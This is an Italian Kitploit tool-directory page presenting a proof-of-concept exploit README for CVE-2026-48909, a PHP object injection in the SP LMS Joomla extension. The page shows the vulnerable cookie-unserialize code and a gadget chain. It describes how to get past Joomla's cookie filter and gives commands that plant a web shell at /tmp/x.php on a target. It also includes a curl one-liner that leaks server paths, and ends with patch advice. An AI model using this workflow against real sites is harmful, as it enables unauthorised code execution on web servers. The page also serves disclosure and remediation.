Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-48909 — Exploit proof-of-concept per CVE-2026-48909: esecuzione remota di codice non autenticata tramite iniezione di oggetti PHP in JoomShaper SP LMS. Include indicazioni per rilevamento, sfruttamento e remediation. | Kitploit
Strumenti/GitHubGitHub/is4yev/cve-2026-48909
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubis4yev/cve-2026-48909

CVE-2026-48909

Exploit proof-of-concept per CVE-2026-48909: esecuzione remota di codice non autenticata tramite iniezione di oggetti PHP in JoomShaper SP LMS. Include indicazioni per rilevamento, sfruttamento e remediation.

Vedi Repository
23242 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-48909 — Iniezione di oggetti PHP in SP LMS → RCE

CVE CVSS CWE Affected Fixed

Esecuzione remota di codice non autenticata tramite iniezione di oggetti PHP in JoomShaper SP LMS (com_splms) ≤ 4.1.3 per Joomla CMS.

Autore: Amin İsayev / Proxima Cyber Security


Panoramica

SP LMS è una popolare estensione Joomla Learning Management System di JoomShaper con oltre 100.000 installazioni. Le versioni ≤ 4.1.3 passano il cookie direttamente a senza alcuna validazione, consentendo a un attaccante non autenticato di iniettare un oggetto PHP malevolo e ottenere l'esecuzione remota di codice tramite la catena di gadget nativa di Joomla.

lmsOrders
unserialize()
CampoDettagli
ID CVECVE-2026-48909
GHSAGHSA-gf8c-xmwj-whrh
Versioni vulnerabiliSP LMS (com_splms) 1.0.0 – 4.1.3
Corretto inSP LMS ≥ 4.1.4
Req. Joomla< 5.2.2 (catena di gadget corretta in 5.2.2)
CVSS 4.09.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N
CWECWE-502: Deserializzazione di dati non attendibili
Autenticazione richiestaNessuna
Divulgata2026-05-26
Pubblicata2026-06-20

Vulnerabilità

Causa principale

components/com_splms/models/cart.php riga 28:

root@kitploit:~
$cookie  = Factory::getApplication()->input->cookie;
$raw     = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded);   // ← input utente non attendibile

Il cookie lmsOrders viene decodificato in base64 e passato direttamente a unserialize(). Un attaccante controlla interamente l'oggetto deserializzato.

Catena di gadget

La classe FormattedtextLogger di Joomla fornisce il gadget:

root@kitploit:~
lmsOrders cookie (attacker-controlled)
  └─► unserialize()                             [cart.php:28]
        └─► FormattedtextLogger.__destruct()    [Joomla gadget]
              └─► initFile() → File::write($path, $format)
                    └─► PHP code written to disk → RCE

Nota: la RCE richiede Joomla < 5.2.2.
Joomla 5.2.2 ha corretto FormattedtextLogger.__wakeup() (vedi PR #44428).
L'iniezione di oggetti PHP esiste ancora in com_splms ≤ 4.1.3 su tutte le versioni di Joomla.

Bypass del filtro

Il Input\Cookie::get() di Joomla applica un filtro cmd di default, rimuovendo +, / e = dal valore del cookie — caratteri presenti nel base64 standard. L'exploit utilizza:

  • Codifica hex2bin() per evitare i caratteri PHP proibiti ($, _, {, }, \n)
  • Allineamento del padding per garantire che la lunghezza del base64 sia divisibile per 3 (nessun padding =)
  • Iterazione del carattere di padding (62 varianti) per eliminare / e + dall'output base64

Prova di concetto

Rilevamento

root@kitploit:~
python3 CVE-2026-48909.py https://target.com
root@kitploit:~
[*] Target : https://target.com
[*] Path   : /index.php?option=com_splms&view=cart
[*] Probe  : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.

Exploit

root@kitploit:~
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

PoC Screenshot

Shell attiva su https://target.com/tmp/x.php?c=id

Trovare il percorso del server (se sconosciuto):

root@kitploit:~
# Hosting cPanel — il percorso trapela dalle pagine di errore di Joomla
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'

# Percorsi comuni da provare:
#   /var/www/html/tmp/x.php
#   /home/USER/public_html/tmp/x.php
#   /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php

Requisiti

root@kitploit:~
pip install requests

Python 3.10+


Fix / rimedio

  1. Aggiornare SP LMS alla versione ≥ 4.1.4 immediatamente
  2. Aggiornare Joomla a ≥ 5.2.2 per rimuovere la catena di gadget
  3. Come mitigazione temporanea — validare e sanitizzare il cookie lmsOrders prima della deserializzazione:
root@kitploit:~
// NON utilizzare unserialize() su dati controllati dall'utente
// Utilizzare json_encode/json_decode
$cartItems = json_decode(base64_decode($raw), true) ?? [];

Riferimenti

  • CVE-2026-48909 — cve.org
  • CVE-2026-48909 — NVD
  • GHSA-gf8c-xmwj-whrh — GitHub Advisory
  • Joomla PR #44428 — Patch del gadget FormattedtextLogger
  • CWE-502: Deserializzazione di dati non attendibili
  • OWASP: Iniezione di oggetti PHP

Disclaimer

Questo strumento è rilasciato solo a scopo educativo e per test di sicurezza autorizzati.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo programma.
Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta al test.


Amin İsayev / Proxima Cyber Security — 2026

Scarica lo strumento